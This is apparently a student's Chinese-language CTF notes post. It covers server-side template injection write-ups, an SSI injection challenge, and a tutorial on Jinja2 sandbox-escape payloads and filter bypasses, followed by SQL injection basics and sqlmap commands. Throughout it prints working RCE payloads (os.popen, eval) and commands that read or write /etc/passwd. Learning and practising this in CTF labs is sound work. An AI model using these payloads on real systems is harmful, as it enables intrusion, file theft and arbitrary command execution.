SSTI WP

[Simple_SSTI_1]—BUGKU

题目开启

开启环境

图片

可以传递一个参数flag

f12看看有无提示

图片

估计flag在一个叫SECRET_KEY文件里

用config查看

图片

得到flag

///疑惑1:为什么文件要用大写(我试了用小写不会爆出flag)

///疑惑2:config是什么

[Simple_SSTI_2]—BUGKU

所用知识:

文件读写

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('在这里输文件名', 'r').read() }}{% endif %}{% endfor %}

命令执行

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('在这里输命令').read()") }}{% endif %}{% endfor %}

题目开启

开启环境

图片

f12发现无提示

图片

尝试直接传递参数2*2被执行了

图片

传点错误语句看看是什么模板

图片

得到信息是python的flask模板注入题,而且是python3.7

网上查找一些payload->[所用知识]

命令执行语句输入ls

图片

文件读写app.py

图片

文件读写gunicorn.conf.py

图片

文件读写flag

图片

获得flag{79f87b148dabb032623e5be9e10c1d0b}

///搜到的wp说命令执行cat flag也能拿到flag,是理解失误(?)输入错误(?)没有执行出来

[EasySearch]—CTFHub

题目开启

图片

输入常用的用户名adminadmin 错误 //忘记截图了

扫一下路径发现index.php.swp //这边我用御剑扫了一下没扫到,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content); 
}
    header("Content-Type: text/html;charset=utf-8");
***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
***
    }
***
?>

审计

首先写个脚本让password前6个字符的md5值等于6d0bc1

//好的代码审计,,总感觉之前在哪里听过这个词

代码审计(Code audit)是一种以发现程序错误,安全漏洞和违反程序规范为目标的源代码分析。软件代码审计是对编程项目中源代码的全面分析,旨在发现错误,安全漏洞或违反编程约定。
//啊大概是看一遍代码找一下哪里会出错(?
//代码审计又是一个好大的坑,哈哈,下面附一个学习链接

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
import hashlib
for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    b = a[0:6]
    if b == '6d0bc1':
        print(i)
        print(a)

//这里又涉及到哈希表和md5加密以及python 脚本大致能看懂 跑出来的结果如下

2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c

//三个分别试一下 发现第二个是正确的

2020666

图片

2305004

图片

抓包一下 抓包后发现头部有个url

图片

图片

Url_Is_Here : public/a4409a9c9acd7132f486ad32021f4511ee74ba22.shtml

访问一下发现又是登录页面

图片

然后看另一篇wp说这里有shtml漏洞

回到最开始的登录界面

payload:

1
2
3
POST
username=<!--#exec cmd="ls ../"-->
password=2020666
是一个ssi指令,ls命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)

password这里变成了之前脚本跑出来的第一个

利用SSI注入漏洞,可以在username变量中传入ssi语句来远程执行系统命令

1
<!--#exec cmd="命令"-->

ls当前目录

1
<!--#exec cmd="ls"-->

显示登录成功 再抓包进入隐藏url

图片

访问获得flag

图片

flag{4313ab7b-de35-4b56-916d-3a86aac19dff}

//啊但是这里为什么是flag套头的,,ctfhub的flag不是要用ctfhub套吗

//看了一会shtml回来后发现环境到期了,,,然后不知道系统抽什么风续期续不上,不愿再爱

//后面步骤嗯写的,,假设真的有这些东西并且搞出来了

[BJDCTF2020]EasySearch - 王叹之 - 博客园 (cnblogs.com)

[BJDCTF2020]EasySearch - beiwo - 博客园 (cnblogs.com)

有空看看这两篇wp,前面那个属于是虎头蛇尾了

[Flask]SSTI—BUUCTF

题目开启

图片

试一下49说明有ssti漏洞存在

图片

获取eval函数并执行任意python代码的POC:

//啊,,说实话不太清楚啥叫poc,以及这是干什么的
//Proof Of Concept的缩写。在黑客圈指:观点验证程序,运行程序可得出预期的结果,也就验证了观点

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

打印环境变量

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

总之输入以后显示结果如下,,得到了flag

图片

图片

flag{166b3d5f-c733-4265-abba-4a4189db8346}

[RootersCTF2019]I_<3_Flask—BUUCTF

题目开启

图片

输一下49

图片

好的,判定有ssti,判断发现是jinja2的模板,fuzz一下发现没有什么过滤,直接上RCE的

RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %} 
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
//这里的ls就是需要的执行命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

先ls列出目录:

图片

I ♥ Flask & application.py flag.txt requirements.txt static templates

然后执行cat fl``a``g.t``x``t得到flag

图片

flag{8a120b95-0230-405d-8e68-8ca1a4358f4c}

一些SSTI芝士

模板引擎(SST)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,只需要获取用户的数据,放到渲染函数里,生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过

SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

SST 信任了用户的输入,并且执行这些内容,包括执行本机函数,就像 eval 函数对传入的内容未加任何过滤一样。

因此模板注入很容易导致远程代码执行(RCE)、信息泄露等漏洞。

注入原理

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于 GET 请求参数 $_GET[“name”]

Flask SSTI 题的基本思路:

利用 python 中的魔术方法找到自己要用的函数。

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __bases__:返回类型列表
  • __subclasses__:返回object的子类
  • __init__:类的初始化方法
  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

    __base____mro__都是用来寻找基类的。

    基本流程

使用魔术方法进行函数解析,再获取基本类:

1
2
3
4
5
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用

获取基本类后,继续向下获取基本类 object 的子类:

1
object.__subclasses__()

找到重载过的__init__类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):

1
2
3
4
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>

查看其引用__builtins__
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

读写文件

读文件:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

写文件:

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()

存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
还有另外的方法:

1
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

写文件换为 .write() 即可。

命令执行

1.利用eval 进行命令执行。

1
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

或者。。。

2.利用warnings.catch_warnings 进行命令执行。

首先,查看 warnings.catch_warnings 方法的位置:

1
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

查看 linecatch 的位置:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')

查找 os 模块的位置:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')

查找 system 方法的位置:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')

调用 system 方法:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')

3.利用 commands 进行命令执行。

1
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
1
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
1
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

姿势集

1️⃣

可以获取当前设置,如果题目是这样的:

app.config [‘FLAG’] = os.environ.pop(’FLAG’)

可以直接访问 或者 得到 flag。

2️⃣

同样可以找到 config。

1
{{self.__dict__._TemplateReference__context.config}}

3️⃣
[]、()

1
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

4️⃣
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等

如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:

1
2
3
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

5️⃣
过滤了 []、.

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。
若.也被过滤,使用原生 JinJa2 函数 |attr()

即将 request.class 改成 request|attr(“class“)

6️⃣

过滤下划线 _

利用 request.args 的属性

1
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

将其中的 request.args 改为 request.values,则利用 post 的方式进行传参。
GET:

1
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

POST:

1
class=__class__&mro=__mro__&subclasses=__subclasses__

7️⃣
过滤引号 “

request.args 是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

8️⃣
一些关键字被过滤。

base64编码绕过

用于__getattribute__使用实例访问属性时。

例如,过滤掉 class 关键词

1
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

字符串拼接绕过

1
2
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

Burpsuite

具有功能:

Proxy——是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider——是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner[仅限专业版]——是一个高级的工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder——是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
Repeater——是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer——是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”

burp suite使用教程(抓包,截包,改包)_baidu_36124158的博客-CSDN博客_burpsuite抓包教程

Tplmap

服务器端模板注入和代码注入检测与开发工具

一个 python 工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用 SSTI 来访问目标文件或操作系统。一些受支持的模板引擎包括 PHP、Ruby、JaveScript、Python、ERB、Jinja2 和 Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

使用

获取:

https://github.com/epinna/tplmap

安装第三方依赖:

1
pip install -r requirements

Tplmap 可以利用文件系统的漏洞,还具有使用不同参数访问底层操作系统的能力
以下命令可用于测试目标URL中的易受攻击的参数

1
./tplmap.py -u <'目标网址'>

执行该命令后,该工具会针对多个插件测试目标 URL 以查找代码注入机会。

应用实例:

__class__

它可以用来查看变量所属的类

用命令行打开python

输入:''.__class__

输出:<class 'str'>,表明这是str类

依次输入().__class__,[].__class__,{}.__class__

输出:

图片

str(字符串)、dict(字典)、tuple(元组)、list(列表),这些类型的基类都是object,即它们都属于object,而object拥有众多的子类。

接下来看这个东西

__bases__

可以用来查看类的基类

图片

后面加数组,表示使用数组索引来查看特定位置的值

图片

__mro__

查看基类

图片

__subclasses__()

查看当前类的子类

输入如下代码

1
''.__class__.__bases__[0].__subclasses__()

图片

按编号查找类<class 'os._wrap_close'>时可以:

1
''.__class__.__bases__[0].__subclasses__()[138]

图片

PS:不同版本的python类的编号不同

.init.globals

找os类下的init初始化类

然后globals全局来查找所有的方法及变量及参数。

1
 ''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__

图片

此时我们可以看到各种各样的参数方法函数,找其中一个可利用的function popen来执行命令

1
''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read()

图片

最基本的东西就是这些,下面可以做一道简单的题来巩固一下上面这些命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__class__            类的一个内置属性,表示实例对象的类
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类
__subclasses__()     返回这个类的子类集合,每个类都保存一个对其直接子类的弱引用列表。 此方法返回所有那些仍然存在的引用的列表。 该列表按定义顺序排列。
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法,因此可以直接通过这个方法来获取实例、类、函数的属性
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:
request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1    get传参
request.values.x1 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1    post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  post传参 (Content-Type:a/b)
request.json post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

常用过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。示例看上面payload;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count

request具体参考Flask request 属性详解_爱人BT的博客-CSDN博客_flask request
比如查看一下os._wrap_close类所处空间下可使用的module,方法和变量,利用.keys()爆出这个dict的所有键名:

1
print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.keys())

图片

判断模板的图

require() 和 eval() 函数

require() 函数会包含一个文件并执行

eval() 函数是将字符串当成代码来执行

参考链接

SSTI(模板注入)_xiaolong22333的博客-CSDN博客_ssti模板注入

CTFshow-WEB入门-SSTI_feng的博客-CSDN博客

flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)

SSTI(服务器模板注入)学习 - Lushun - 博客园 (cnblogs.com)

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度. (ichunqiu.com)

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园 (cnblogs.com)

从一道题看Smarty_ssti | Cxlover’s blog (550532788.github.io)

关于flask的SSTI注入_Kr的博客-CSDN博客_flask ssti

Jinja2基本总结_Lin_Bolun的博客-CSDN博客

SSTI-服务端模板注入漏洞 - micr067 - 博客园 (cnblogs.com)

[pasecactf_2019]flask_ssti | Z3ratu1’s blog

代码审计入门 - Oran9e - 博客园 (cnblogs.com)

[分享]关于 fuzz 的 一点总结-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

大话FUZZ测试_JBlock的博客-CSDN博客_fuzz测试

从某篇文章搬的参考链接↓ 慢慢看

flask之ssti模版注入从零到入门

SSTI(模板注入)

SSTI完全学习

flask ssti漏洞复现

SSTI(服务器模板注入)学习

CTF SSTI(服务器模板注入)

用python继承链搞事情

Python安全之SSTI——Flask/Jinja2

SSTI模板注入(Python+Jinja2)

SSTI Bypass 分析

flask之ssti模板注入

一篇文章带你理解漏洞之SSTI漏洞

SSTI模板注入

 

最近新学了一手,,给图片加上边框显示起来应该会整齐一点

图片

我重伤倒地

aboutSQL

概念:

数据库

  • 数据库是保存数据的仓库,存放在物理计算机上
  • 借助sql来操作数据库
  • sql语法规范将所需数据组装后可与数据库交互
  • 常见交互:数据的添加,修改,删除,查看
  • 通过sql发出相对应的命令即可交互
  • sql语句不需要针对不同操作系统进行修改

    SQL

SQL的两个解释

  1. 微软的SQL Server,大型数据库系统软件,用于大批量数据存储管理
  2. Structured Query Language(结构化查询语言)的缩写,使用最广的数据库语言

    SQL 分类

数据定义语言(DDL)

数据定义语言(Data Definition Language,DDL) 集中负责数据结构与数据库对象定义

主要功能:定义数据库对象

核心指令:CREATEALTERDROP

数据操纵语言(DML)

数据操纵语言(Data Manipulation Language, DML)用于数据库操作,对数据库对象和数据运行访问工作的编程语句

主要功能:访问数据,因此其语法都是以读写数据库为主。

核心指令:INSERTUPDATEDELETESELECT四个指令合称 CRUD(Create, Read, Update, Delete)增删改查

事务控制语言(TCL)

事务控制语言 (Transaction Control Language, TCL) 用于管理数据库中的事务用于管理由 DML 语句所做的更改 允许将语句分组为逻辑事务

核心指令:COMMITROLLBACK

数据控制语言(DCL)

数据控制语言 (Data Control Language, DCL) 控制数据访问权,可以控制特定用户账户对数据表、查看表、预存程序、用户自定义函数等数据库对象的控制权

核心指令:GRANTREVOKE

主要功能:控制用户的访问权限,可利用 DCL 控制的权限有:CONNECTSELECTINSERTUPDATEDELETEEXECUTEUSAGEREFERENCES

根据不同的 DBMS 以及不同的安全性实体,其支持的权限控制也有所不同

SQL 语法要点

  • 语句不区分大小写,但是数据库表名、列名和值是否区分,依赖于具体的 DBMS 以及配置

例如:SELECTselectSelect是相同的

  • 多条语句必须以分号(;分隔
  • 处理 SQL 语句时,所有空格都被忽略SQL 语句可以写成一行,也可以分写为多行。
    1
    2
    3
    4
    5
    6
    -- 一行 SQL 语句
    UPDATE user SET username='robot', password='robot' WHERE username = 'root';
    -- 多行 SQL 语句
    UPDATE user
    SET username='robot', password='robot'
    WHERE username = 'root';
  • SQL 支持三种注释
    1
    2
    3
    ## 注释1
    -- 注释2
    /* 注释3 */

    各类注入知识点

布尔盲注

布尔盲注详解_AaronLuo-CSDN博客_布尔盲注

↑↑↑我只能说这个写的太好了,讲话风格跟排版风格都很喜欢,,,整理过来大概也是照搬(

直接放链接了

sql注入基于布尔/时间的盲注详解_Sp4rkW的博客-CSDN博客_布尔注入

SQLmap

是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库

sqlmap解题步骤

1.查看数据库

1
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --dbs  --batch

2.查看数据库里面的表

1
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --tables --batch

3.查看数据库表里面的列

1
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users --columns   --batch

4.查看数据库列里面的具体的值

1
sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1" --D security --T users -C password     --dump  --batch

sqlmap常用命令

-h                                           显示基本帮助信息

-hh                                         显示高级帮助信息

–version                                显示版本号

-v                                           详细等级(0-6 默认 1)

                                              0:只显示python错误以及重要信息

                                              1:显示信息以及警告

                                              2:显示debug消息

                                              3:显示注入payload

                                              4:显示http请求

                                              5:显示http响应头·

                                              6:显示http响应内容
-u                                          指定目标url

-d                                          直接连接数据库

///sqlmap相当于一个搞注入的py脚本库(?猜的

相关资料

常用的SQL语句 - zhangzhenpeng - 博客园 (cnblogs.com)

12800字!SQL 语法速成手册 (qq.com)

常见SQL注入的方法 - 四季列车 - 博客园 (cnblogs.com)

有效防止SQL注入的5种方法总结_数据库其它_脚本之家 (jb51.net)

SQL注入原理以及预防方案_rennan…的博客-CSDN博客_sql注入原理

Ctfhub解题 web SQL注入(全部完整版)_一个平凡de人的博客-CSDN博客

ctfhub——web——sql注入(sqlmap实现)_金鳞本鲤的博客-CSDN博客

sql注入绕过方法总结_韦全敏的博客-CSDN博客_sql注入绕过

CTF中SQL注入常见题型整理_韦全敏的博客-CSDN博客_ctf sql注入

Sql注入——整数型和字符型_Xingmi_m的博客-CSDN博客

CTFHub_技能树_Web之SQL注入——报错注入(含三种解法)_东京没有下雨天-CSDN博客

CTFHub 报错注入_wind lin的博客-CSDN博客_ctfhub报错注入

CTFHub布尔盲注(新的payload)_wind lin的博客-CSDN博客_ctfhub 布尔盲注

SQL注入 基于布尔的盲注(less-5) - 简书 (jianshu.com)

CTF刷题总结(1)——简单的SQL注入_qq_45047250的博客-CSDN博客

CTFHUB-WEB-SQL注入-布尔盲注_老大的豆豆酱的博客-CSDN博客[Burp suite 爆破模块intruder]

[SQLMap安装_航少的博客-CSDN博客]

sqlmap详细使用教程_星落的博客-CSDN博客_sqlmap使用教程

CTFHub-web(sql时间盲注)_航少的博客-CSDN博客_ctfhub 时间盲注

题目示例:

1.整数型注入

[整数型注入]—ctfhub

手工(sqlmap待补充)

输入1输出正常

图片

1
-1 union select 1,database() 

查询数据库名称
图片

1
-1 union select 1,version() 

查询数据库版本

1
2
3
![图片](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA3wAAAD2CAYAAACN14UBAAAgAElEQVR4AezBD1zUBZ74/9d8YmaoiWFcdxXF8GoXv4WHP/+Erkj4o0TwlnE1FLp+1KrpZtroFy4h6IgbfWgL7toqq9VuK224/BY9NcUrpnHXE1FPLPHn/KSu9nSblhJvOYd/60cY+fx+Q49x0VBBrWB8P5+6s40eDSGEEEIIIYQQAUdBCCGEEEIIIURAUhBCCCGEEEIIEZAUhBBCCCGEEEIEJAUhhBBCCCGEEAFJQQghhBBCCCFEQFIQQgghhBBCCBGQFIQQQgghhBBCBCQFIYQQQgghhBABSUEIIYQQQgghREBSEEIIIYQQQggRkBSEEEIIIYQQQgQkBSGEEEIIIYQQAUlBCCGEEEIIIURAUhBCCCGEEEIIEZAUhBBCCCGEEEIEJAUhhBBCCCGEEAFJQQghhBBCCCFEQFIQQgghhBBCCBGQFIQQQgghhBBCBCQFIYQQQgghhBABSUEIIYQQQgghREBSEEIIIYQQQggRkBSEEEIIIYQQQgQkBSGEEEIIIYQQAUlBCCGEEEIIIURAUhBCCCGEEEIIEZAUhBBCCCGEEEIEJAUhhBBCCCGEEAFJQQghhBBCCCFEQFIQQgghhBBCCBGQFIQQQgghesGguPns8zMIIYQYOBSEEEKIHhgUNzuXT+f7k2OZvPoAbR06+qKl2s73J8eyIG8P2+t13GoGxc3R4tksXbCUBXl7OPjnIPoiqL6S/IRYkqcnsyBvDx8HBTOQaBV/YOOmTWzctInt9TquRqv4Awf/HMTNMChuWqrt5Ex9jEcfL+HjoGC+bi3VdrbX6xBCCNE3CkIIIcRX4MPa4/h89t4vuBkGxc17R9+jJ3/+Yxvvf1BL3WEXZ3QXuZJW8Qe21+voybnTR3Cq4Glp5gNTKMPPX2AgaR10gNLSLZSWbuH3rjP0pKXazovr/plVC6bx8tEL3KjOT+soynfgVAG1giftTto6dHwdDIqbncunk7jCwdo5k1lS2YAQQojeC0IIIcRtKai+kv/47Ntcy7ETrfhoe6v5YPqdXMsDY2Mw6TV8DIqb3Tsa8Gma+gLJQ7ghQfWV5GSs5KjeTNLqXWTGGOmtoPpKctetxKn+M/+WkEdu0RwivSo9GTdhFCa9Rl8dLZ6NrayBW0WXUsje7HhMeg2D4ubQkbP4XBj2faaM8NIXBsVNUb4DpwqozZQvS+Djgp1sSh5KX3nDk8ledQTyHThV0PbkYGvLY/OaFL5qnZ/WcexEK37H7LNZwk42JQ9FCCHE9QUhhBDitnR4x2vYyhroFbWCZ5dVcFXBVlZsiSE1nC6NVSU4VbqMmzAKk17jRpw7fQQfT0sz5dnriNiSR2q4xvUYFDflRetwqlwS6VXxMyhu9m47iI8lxMwj0WGARn/SWFXCsysc+Iwv2MmUEUPpi/bOCAr3/w6mPoZTpcsx+2wWVOVRbLdi0mv0RUhcATMfPY6zrAGfz977BS8fTSQzxshXyRueTOH+KMbbFlJY04rPqXU/4uXBu8iMMSKEEOLaghBCCCFukkW/H8jDx6C42bvtID6WEDOjT21n4yZ6bd6ipZj0Gj4hcQXMfPQ4zrIGUCtYmwFjDtiJ9Kpcy8H1yymsacVHl1JIcXY8oNHdsROt+Hg6pjJmpBG8Kn11/7ixPHHHd/CbeNGJrayBLsFWnpgbypUmXnRiK2vAJyohjwkj3Pi1x0zkVm